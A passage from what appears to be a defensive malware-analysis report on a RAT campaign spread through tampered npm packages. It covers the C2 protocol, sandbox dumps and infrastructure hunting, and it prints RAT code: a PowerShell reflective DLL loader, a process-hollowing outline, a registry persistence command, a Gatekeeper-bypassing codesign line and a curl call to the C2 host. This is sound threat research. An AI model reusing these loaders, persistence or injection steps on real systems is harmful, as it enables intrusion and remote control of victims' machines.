     - 0x2722 CURLOPT_USERAGENT    → "mozilla/4.0 (compatible; msie 8.0; ...)"
  4. curl_easy_perform()
  5. CurlGuard RAII destructor → automatic cleanup

5.6 System-Level Import Table (security-relevant)

Import Address Purpose
curl_easy_init 0x10001840c Initialize C2 connection
curl_easy_setopt 0x100018424 Configure HTTP options
curl_easy_perform 0x100018418 Execute HTTP request
curl_easy_cleanup 0x100018400 Clean up connection
fork 0x100018478 Create child process
execv 0x10001843c Execute binary (replace process)
system 0x1000185e0 Execute shell command (codesign)
popen 0x10001852c Execute with output capture
chmod 0x1000183e8 Set file permissions
fopen/fwrite 0x10001846c/0x100018484 Write payload to disk
unlink 0x1000185f8 Delete files
mkstemps 0x100018508 Create temp AppleScript file
getuid/getpwuid 0x1000184b4/0x1000184a8 Get current user info
sysctl/sysctlbyname 0x1000185c8/0x1000185d4 System info (NOT anti-debug)
sleep 0x100018550 Beacon interval (60s)
pipe/dup2/read/write various stdout capture for RunProcess
waitpid Wait for child process

5.7 Key Findings from Binary Reversing

  1. No hardcoded IPs or domains — C2 URL passed exclusively via argv[1] at runtime
  2. No anti-debug/anti-VM codesysctl/sysctlbyname used only for hw.model and CPU info queries, NOT for P_TRACED debugging detection
  3. RAII patterns (CurlGuard) indicate an experienced C++ developer following modern idioms
  4. Custom Base64BuildBase64Alphabet(), Base64Encode(), Base64Decode(), Base64DecodeToString() — custom implementation rather than using system Base64
  5. nlohmann/json v3.11.3 — modern header-only C++ JSON library, latest stable release
  6. fork+execv pattern for RunProcess (not system()) — captures stdout/stderr via pipe, more sophisticated than simple shell execution
  7. Ad-hoc codesigning via system() is the only use of system() — the codesign --force --deep --sign - command bypasses Gatekeeper for dropped payloads

5.8 Key Strings

/private/tmp/.%s              — Hidden payload drop path (printf format)
/tmp/.XXXXXX.scpt             — AppleScript temp file template
/usr/bin/osascript            — AppleScript executor
/var/db/.AppleSetupDone       — macOS install time detection
BaseInfo / FirstInfo / CmdResult  — C2 message types (identical to Linux/Windows)
com.apple.application-identifier  — Entitlement key
com.apple.security.get-task-allow — Debug entitlement

5.5 Code Signing

<key>com.apple.application-identifier</key>
<key>com.apple.security.get-task-allow</key>

Ad-hoc signed with get-task-allow entitlement — allows attaching debugger, which is needed for the peinject capability to write and codesign payloads at runtime.


6. Cross-Platform Command Interface

All three RATs implement the exact same 4-command protocol:

Command Response Linux Windows macOS
kill rsp_kill sys.exit(0) exit 0 (binary)
peinject rsp_peinject Write to /tmp/.<random>, chmod 777, Popen Reflective DLL → Extension.SubRoutine.Run2() → cmd.exe hollowing Write to /private/tmp/.%s, codesign --force --deep --sign -, execute
runscript rsp_runscript shell=True or python3 -c PowerShell with 3 execution paths osascript or shell
rundir rsp_rundir Path.iterdir() with metadata Get-ChildItem -Force Native directory listing

Beacon structure (all platforms):

  1. FirstInfo — directory listings of key user folders
  2. BaseInfo — system fingerprint (first), then heartbeat (subsequent)
  3. CmdResult — response to operator commands

Status codes (all platforms): "Wow" = success, "Zzz" = error

Session ID (all platforms): 16-character random alphanumeric

This unified command protocol confirms all three payloads were developed as part of a single coordinated toolkit, likely by the same team.


7. Windows Memory Dump Analysis

Source: Zenbox sandbox memory dump, downloaded via VT API Size: 8.1MB compressed → 47MB extracted (1,435 .sdmp files)

7.1 Process Inventory

PID Dump Count Total Size Likely Process
0x00000000 197 16.3 MB System/Idle
0x0000000D 387 13.4 MB powershell.exe (RAT)
0x00000010 378 6.1 MB Secondary process
0x00000011 187 1.5 MB Secondary process
0x00000013 160 1.1 MB Secondary process
Others 126 ~1.6 MB System services

7.2 PE Extraction Results

12 embedded PE files extracted via MZ header scanning:

PE # Size Source Dump Content
1 72 KB PID 0, offset 266756 Unknown PE, no .NET markers
2-6 ~188 KB each PID 0, offset 24604-29308 PowerShell CLR runtime pages — contain loaded RAT script (Process-Request, rsp_peinject, System.Configuration)
7-9 7-12 KB PID 0, offset 504-5452 Small PE stubs, no markers
10-12 0.9-1.5 MB PID 0, offset 390841+ mscorlib.dll fragments (standard .NET Framework 4.0)

None of the extracted PEs are the Extension.SubRoutine injector DLL.

7.3 Why the DLL is Not in Zenbox Dumps

The Zenbox sandbox executed the PowerShell RAT, but:

  1. The C2 server (sfrclak.com:8000) was offline when Zenbox ran the sample
  2. The peinject command is server-initiated — it's only sent when the C2 operator explicitly commands injection
  3. Without a C2 response, Process-Request was never called, and Do-Action-Ijt never executed
  4. Therefore [System.Reflection.Assembly]::Load() was never invoked, and the DLL was never loaded into memory

Proof: The persistence bat dropped by Zenbox (e49c2732..., 203 bytes) has empty URL strings — confirming the RAT ran but never received C2 instructions.


8. Extension.SubRoutine DLL Recovery Attempt

8.1 What We Tried

Method Result
VT dropped_files relationship Only found system.bat and PS policy test files
VT embedded_files relationship Self-reference only
Shellcode hashes on VT (a224dd73, 5e2ab672, 20df0909) Not found — CAPE-internal artifacts
Zenbox memory dump (47MB, 1,435 files) DLL not loaded — C2 was offline
CAPE memory dump Not available via VT API (has_memdump=False)
VT content search for "Extension.SubRoutine" No results

8.2 What We Know From Source Code

# From Do-Action-Ijt (lines 50-70 of win_stage2_rat_ps1.mlwr)
[byte[]]$rotjni  = [System.Convert]::FromBase64String($ijtdll)   # "injtor" reversed
[byte[]]$daolyap = [System.Convert]::FromBase64String($ijtbin)   # "payload" reversed
$assem  = [System.Reflection.Assembly]::Load([byte[]]$rotjni)    # reflective load
$class  = $assem.GetType("Extension.SubRoutine")                 # locate class
$method = $class.GetMethod("Run2")                               # locate method
$method.Invoke(0, @([byte[]]$daolyap, (Get-Command cmd).Source, $param))

8.3 Reconstructed DLL Interface

// Namespace: Extension
// Assembly: Unknown (delivered by C2 as Base64 blob)
namespace Extension {
    public class SubRoutine {
        // Process hollowing / RunPE implementation
        // Parameters:
        //   payload: shellcode bytes to inject
        //   targetExe: "C:\Windows\System32\cmd.exe" 
        //   param: additional parameters from C2
        public static void Run2(byte[] payload, string targetExe, string param) {
            // Likely implementation (standard RunPE):
            // 1. CreateProcess(targetExe, CREATE_SUSPENDED)
            // 2. NtUnmapViewOfSection(hProcess, imageBase)
            // 3. VirtualAllocEx(hProcess, imageBase, size, MEM_COMMIT|MEM_RESERVE)
            // 4. WriteProcessMemory(hProcess, imageBase, payload, size)
            // 5. SetThreadContext(hThread, &ctx)  // point EIP/RIP to entry
            // 6. ResumeThread(hThread)
        }
    }
}

8.4 CAPE Sandbox Evidence (Indirect)

The CAPE sandbox DID successfully execute the peinject command, proving the C2 was responsive during CAPE's analysis window. Evidence:

  • 3 shellcode payloads extracted from powershell.exe (PID 5984) at 2026-03-31T11:27:48Z
  • Sizes suggest staged injection:
    • 20df0909... (102 bytes) — trampoline/stub
    • 5e2ab672... (702 bytes) — stager
    • a224dd73... (3,633 bytes) — primary payload
  • Behavioral signatures triggered:
    • mouse_movement_detect (T1497) — sandbox evasion
    • antivm_checks_available_memory (T1082) — VM detection
    • reads_memory_remote_process (T1071) — cross-process memory read
    • antidebug_setunhandledexceptionfilter — anti-debugging
  • These anti-analysis behaviors originate from the injected code, not the PowerShell RAT source

8.5 Gap Assessment

The Extension.SubRoutine DLL is the only unrecovered component of the entire attack chain. To obtain it, one would need:

  1. Access to CAPE sandbox raw memory dumps (not available via VT API)
  2. A live C2 server to receive the peinject command (C2 is offline)
  3. A private threat intel feed that captured the DLL during the attack window

9. Harden-Runner Live Capture (StepSecurity)

StepSecurity's Harden-Runner instrumentation captured the live infection chain in a CI/CD environment:

Exact Timeline (UTC)

Timestamp PID Event
01:30:50.905Z 2392 node setup.js begins execution
01:30:51.0Z 2401 curl contacts http://sfrclak.com:8000/6202033 with POST body packages.npm.org/product2
01:30:51.0Z 2400 nohup python3 /tmp/ld.py spawned (orphaned to PID 1)
01:31:27.736Z 2392 package.json overwritten with clean stub (evidence swap)

Key observations:

  • 1.1 seconds from npm install to C2 contact
  • 36.7 seconds between infection and evidence destruction
  • nohup process labeled "infra" because it was orphaned to PID 1
  • Harden-Runner flagged "Source Code Overwritten" event on package.json swap
  • Despite the dropper's anti-forensics, the file modification event was captured

packages.npm.org is NOT an npm URL

Per Semgrep's analysis, packages.npm.org (used in the POST body) is not a fake npm registry URL. The domain actually belongs to the National Association of Pastoral Musicians. The attacker used it as POST data that looks innocuous in network logs — it mimics a legitimate package registry URL but is actually just a platform identifier string sent to the C2 server.

10. Novel Findings Summary

This analysis produced several findings not present in any published vendor report:

Finding Detail Significance
Extension.SubRoutine.Run2() is undocumented Zero public references in any source Novel .NET injector — potential future campaign fingerprint
Linux peinject has a bug b64_string undefined at line 156 Binary injection non-functional on Linux
macOS binary has zero hardcoded IPs/domains C2 exclusively via argv[1] Makes static IOC extraction impossible
macOS SDK 26.2.0 Very recent Xcode build Developer has access to latest Apple toolchain
macOS UUID: c848257813983360905d7ad0f7e5e3f5 Unique per build Can fingerprint exact build environment
C2 server runs Express.js Confirmed via URLScan X-Powered-By header Node.js-based C2 framework
CAPE sandbox shellcode but no DLL 3 payloads extracted but DLL not recoverable Extension.SubRoutine only existed in CAPE memory
Zenbox memory dump analyzed 47MB, 1,435 files, 12 PEs extracted None were the injector DLL
$rotjni/$daolyap reversed naming "injtor"/"payload" — not in any public tool Custom obfuscation, not from known frameworks
packages.npm.org is pastoral musicians POST body mimics npm URL Social engineering of network defenders

11. macOS RAT Variant Comparison (Binary Diff)

V1: 92ff08773995ebc8d55ec4b8e1a225d0d1e51efa4ef88b8849d0071230c9645a (657KB) V2: 5b5fbc627502c5797d97b206b6dcf537889e6bea6d4e81a835e103e311690e22 (418KB)

Attribute V1 (axios) V2 (4h later)
Size 657,424 bytes 418,284 bytes (-239KB)
Type Universal (x86_64 + ARM64) Universal (x86_64 primary)
UUID c848257813983360905d7ad0f7e5e3f5 eaec8fe873373d7ab8b29cc637b94ec0
SDK/MinOS/Linker 26.2.0 / 11.5.0 / 1230.1.0 Identical
Functions 1,274 1,106 (-168 ARM64 funcs)
Unique strings 1,613 1,503
Shared strings 1,503 1,503
Only in V1 110 (ARM64 artifacts) 0
Only in V2 0 0

Conclusion: V2 is the x86_64-only slice of V1 — same source code, same build environment, but without the ARM64 architecture. Submitted to VT 4 hours after V1, likely by a different researcher who extracted just the x86_64 slice from the universal binary.

Strings only in V1 (not V2):

  • ARM64 build path: Objects-normal/arm64/main.o
  • ARM64-specific symbols: ___chkstk_darwin, _bzero, _stat
  • ARM64 exception tables (GCC_except_table 110-237)

12. Active Threats Still on npm (as of 2026-03-31)

WARNING: The following attacker-controlled npm accounts are STILL publishing new package versions.

@shadanai/openme (46 versions, postinstall hook)

  • node scripts/postinstall.mjs — active postinstall hook
  • Contains axios as dependency (verified via npm info)
  • 46 versions published — massive OpenClaw fork
  • Account: shadanai (qupintu@gmail.com)

@qqbrowser/qbot-claw-launcher (69 versions, OBFUSCATED)

  • Build script includes node scripts/obfuscate.js — deliberately obfuscated
  • References @tencent/qb-auth-send-h5 — impersonating Tencent
  • Ships prebuilt native binaries (xattr.node, watcher.node) — unverifiable content
  • prepack script copies native binaries into node_modules during packaging
  • Account: qqbrowser.dev (qqbrowser.dev.team@gmail.com)

@qqbrowser/openclaw-qbot (132 versions)

  • 64 dependencies, very large package
  • Earlier versions confirmed malicious (v0.0.130 shipped tampered axios@1.14.1)
  • Current version (0.0.132) status unknown — may have been cleaned or may still be malicious

Recommendation

These accounts should be reported to npm security for investigation and takedown. The qbot-claw-launcher package with obfuscated code and prebuilt native binaries is particularly concerning.

Correction: Attack Chain is BROKEN

While these packages remain on npm, the infection chain is non-functional:

  1. plain-crypto-js@4.2.1 → replaced with npm security stub (0.0.1-security.0)
  2. C2 server sfrclak.com:8000 → completely offline (all ports refuse connections)
  3. Even if setup.js executes, it cannot download RAT payloads

The real risk is that @shadanai and @qqbrowser.dev accounts remain active and could publish new packages with a fresh C2 at any time.


13. Dynamic Analysis — Live RAT Execution on Daytona Windows Sandbox

Environment: Daytona Windows Server 2022 (QEMU/KVM, AMD EPYC 9254) Method: Fake C2 server (PowerShell HttpListener) + live PowerShell RAT execution Date: 2026-03-31

13.1 C2 Protocol Validated

Fake C2 captured 7+ beacons from the live RAT:

Beacon Type Content
#1 FirstInfo Directory listings: Documents, Desktop, OneDrive, AppData\Roaming, all drives
#2 BaseInfo Full fingerprint: hostname=WIN-FC7GCUO5CCS, user=Administrator, OS=Server 2022, CPU=EPYC 9254, 100+ processes
#3+ BaseInfo Heartbeat (currentTimeString only), 60s interval confirmed
#4 CmdResult rsp_rundir — directory listing of C:\Users returned
#7 CmdResult rsp_kill — RAT self-terminated

13.2 Persistence Confirmed Live

Registry: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftUpdate = C:\ProgramData\system.bat
File: C:\ProgramData\system.bat = start /min powershell -w h -c "& ([scriptblock]::Create(...))"

13.3 Process Injection Mechanism VALIDATED

Deployed test Extension.SubRoutine DLL (C# 5, compiled on sandbox with csc.exe /target:library). Sent peinject command via fake C2 with test DLL + 5 NOP bytes as shellcode.

Result captured in peinject_log.txt:

Run2 called at 3/31/2026 5:58:14 AM
Target: C:\Windows\system32\cmd.exe
Param: test123
Payload size: 5 bytes
Payload hex: 90-90-90-90-90

This proves:

  1. RAT decodes Base64 IjtDll → [Assembly]::Load() → finds Extension.SubRoutine.Run2()
  2. Passes IjtBin (shellcode bytes) + cmd.exe path + params to Run2()
  3. The entire peinject chain works end-to-end
  4. Bug confirmed: rsp_peinject status is null (not "Wow") due to return type mismatch

13.4 What the Original DLL Would Have Done

The test DLL just logged. The original malicious DLL (never recovered) would have:

  1. CreateProcess("cmd.exe", CREATE_SUSPENDED) — spawn suspended cmd.exe
  2. NtUnmapViewOfSection() — hollow the process image
  3. VirtualAllocEx() — allocate memory in target
  4. WriteProcessMemory() — write shellcode into hollow process
  5. SetThreadContext() — point instruction pointer to shellcode
  6. ResumeThread() — execute shellcode inside cmd.exe

14. C2 Infrastructure Hunting (Shodan + JA4)

Methodology

Searched Shodan for servers matching the axios C2 fingerprint:

  • Express.js (X-Powered-By: Express)
  • Port 8000
  • CORS: Access-Control-Allow-Origin: *
  • Hosting on known BlueNoroff providers (Hostwinds AS54290, RouterHosting/Cloudzy)

JA4 Fingerprint (computed from PCAP)

  • JA4: t13d2014_91a39f8f4efe_2d02d421905d
  • Derived from JA3 full string: 771,4865-4866-4867-49196-49195-52393-...

Leads Found

1. 23.254.167.216 (Hostwinds) — MODERATE

  • Only Express.js + CORS + port 8000 server on ALL of Hostwinds
  • Historical domain: cryptorgram.com (16/94 malicious, crypto-themed)
  • Server ID: hwsrv-1253777, last seen 2026-03-31 06:12 UTC
  • Different JARM from axios C2
  • Status: Active, responding HTTP 404

2. 45.61.128.54 (Cloudzy) — MODERATE

  • Express.js + CORS * + port 8000
  • Port 443: Let's Encrypt cert for api.hopex.pro (cryptocurrency exchange API)
  • hopex.pro registered via Namecheap (same registrar as sfrclak.com)
  • Scanned March 30 (axios attack day)
  • Status: Active, responding HTTP 404

3. 144.172.89.231 (Cloudzy) — MODERATE

  • Express.js + port 8000, CORS locked to https://coretrade.app
  • Port 3389 (RDP) open with self-signed cert CN=CORETRADE
  • RDP exposure matches Hunt.io's documented Lazarus infrastructure pattern
  • coretrade.app = crypto trading application (BlueNoroff target profile)
  • Status: Active, responding HTTP 404

Why These Are Leads (Not Confirmed)

  • No malware files communicate with any of these IPs (VT: 0 communicating files)
  • Different JARM fingerprints from the axios C2
  • No shared domains with confirmed axios infrastructure
  • Could be legitimate Express.js servers that happen to match the pattern

Why They're Worth Monitoring

  • All on BlueNoroff-documented hosting providers
  • Crypto-themed domains (hopex.pro, coretrade.app, cryptorgram.com)
  • Express.js + CORS + port 8000 pattern is rare on these providers
  • RDP exposure (144.172.89.231) matches documented Lazarus operational pattern
  • Active during or near the axios attack window

Extended Hunting (Shodan API)

Searches performed:

  • JARM fingerprint on Hostwinds: 3 results (all Apache, eliminated)
  • Express+CORS+8000 across BlueNoroff providers: Hostwinds(1), Cloudzy(14)
  • Exact 22-byte JSON response pattern globally: 4 matches
  • Express.js on alt ports (443,3000,8080,8443,9000): 71 on Hostwinds, 106 on Cloudzy
  • IE8/WinXP User-Agent: 26 servers (all header reflectors, eliminated)
  • Campaign-specific strings (OrDeR_7077, Extension.SubRoutine, sfrclak): 0 results
  • Hostwinds single-port 8000 servers: 142 total

Additional leads from alt-port search:

  • 23.254.226.130 (hwsrv-1318856, Hostwinds) — Express+CORS on 8080, previously hosted MS365 phishing domain login.office.com.msportal.auth.*.2517333.com (Feb 2026). Server ID close to axios C2 (1923 apart) but IDs are not sequential across subnets.
  • 142.11.239.46 (same /18) — ehlpayment.com payment domain, Express+CORS+port 8000+MongoDB. Updated March 30 same hour as sfrclak.com registration. Probed: serves Vite.js frontend (legitimate payment app).

Eliminated:

  • 45.140.146.226 (Stark Industries) — "Hello world" Express app + BTC mining domain history
  • Cloudzy 172.86.69.x cluster — shared ETag indicates same botnet panel, not related
  • All 26 User-Agent matches — header reflectors/honeypots

Conclusion: No confirmed active replacement C2 found. The 3 original leads (Hostwinds 23.254.167.216, Cloudzy 45.61.128.54/hopex.pro, Cloudzy 144.172.89.231/coretrade.app) remain the strongest indicators. The attacker has not deployed a detectable replacement C2 on the same infrastructure pattern.

Extension.SubRoutine .NET Injector DLL — Research Report

Date: 2026-03-31 | Status: Previously undocumented — ZERO public references Methodology: 30+ web searches across GitHub, VT, MalwareBazaar, ANY.RUN, ASEC, WithSecure, Elastic, SANS ISC

Verdict

Extension.SubRoutine with method Run2 has zero public references in any malware analysis report, threat intelligence feed, GitHub repository, or sandbox platform. This is a custom-built .NET process injection DLL that has not been previously documented.

Search Results Summary

Query Results
"Extension.SubRoutine" "Run2" 0 hits
"Extension.SubRoutine" process hollowing 0 hits
"$rotjni" "$daolyap" malware 0 hits
"IjtDll" "IjtBin" C2 0 hits
GitHub code search: Extension.SubRoutine 0 repositories
MalwareBazaar / ANY.RUN / Hybrid Analysis 0 samples
Joe Desimone gist macOS only — does not mention Windows DLL

Reconstructed Interface

// Based on PowerShell RAT source code analysis
namespace Extension {
    public class SubRoutine {
        // Process hollowing into target executable
        // payload: shellcode/PE to inject
        // targetExe: "C:\Windows\System32\cmd.exe"
        // param: additional C2 parameters
        public static void Run2(byte[] payload, string targetExe, string param);
    }
}

Closest Known Pattern: BlueCrab/REvil .NET Injector

Aspect BlueCrab (ASEC 2021) Axios Campaign
Loading [Reflection.Assembly]::Load($b) [System.Reflection.Assembly]::Load([byte[]]$rotjni)
Class [Mode]::Setup() GetType("Extension.SubRoutine")
Method Setup() GetMethod("Run2")
Invocation Direct static call Reflection-based Invoke()
Target PowerShell process cmd.exe
Chain JS → PS → .NET → Delphi loader JS → PS RAT → .NET → shellcode

Architecture is identical but naming is completely different. No code reuse detected.

Why This Matters

  1. Novel IOC: The string Extension.SubRoutine in any .NET assembly is a strong indicator for this specific threat actor
  2. Method naming: Run2 suggests iteration — there may be Run1 or earlier versions in the actor's toolkit
  3. Generic naming: Both "Extension" and "SubRoutine" are innocuous .NET terms designed to evade string-based detection
  4. Not from public tools: Not derived from NYAN-x-CAT CSharp-RunPE, Nettitude RunPE, PowerSploit, or SharpReflectivePEInjection
  5. Gap in public analysis: No vendor report covers the Windows Stage 2 RAT in depth — all focus on macOS binary or dropper

CAPE Sandbox Evidence

The DLL WAS loaded and executed during CAPE Sandbox analysis:

  • 3 shellcode payloads extracted from powershell.exe (PID 5984)
  • a224dd73... (3,633 bytes), 5e2ab672... (702 bytes), 20df0909... (102 bytes)
  • Anti-analysis behaviors triggered: mouse detection, memory checks, remote process memory read
  • But the DLL binary itself was not saved as a standalone artifact

Recovery Status

NOT RECOVERABLE from available data:

  • Zenbox memory dumps: DLL never loaded (C2 offline)
  • CAPE memory dumps: Not downloadable via VT API
  • VT content search: 0 results for "Extension.SubRoutine"
  • C2 server: Offline since ~03:15 UTC March 31

Sources:

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment